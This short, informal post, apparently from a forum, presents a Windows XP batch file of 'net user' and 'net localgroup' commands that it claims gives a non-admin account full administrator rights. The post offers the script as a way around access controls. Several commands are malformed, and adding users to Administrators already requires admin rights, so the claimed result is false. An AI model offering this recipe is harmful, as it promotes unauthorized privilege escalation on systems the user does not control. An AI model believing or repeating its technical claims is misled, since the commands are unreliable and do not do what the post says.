We can do it by runing a small commend on cmd!
Copy this codes to Notepad:
title Please wait...
net user add Username Password /add
net user localgroup Administrators Username /add
net user ***** 420 /active:yes
net localgroup Guests ***** /DELETE
net localgroup Administrators ***** /add
Replace "*****" with your NonAdmin Account name
Save it as "Admin.bat" or "Guest2Admin.bat" whatever you like but .bat file.
Double click on the file or execute or run in cmd.
Thats all Now you have a full adminprivileges.
Work on Xp
Feelfree to give comments to me!!!!!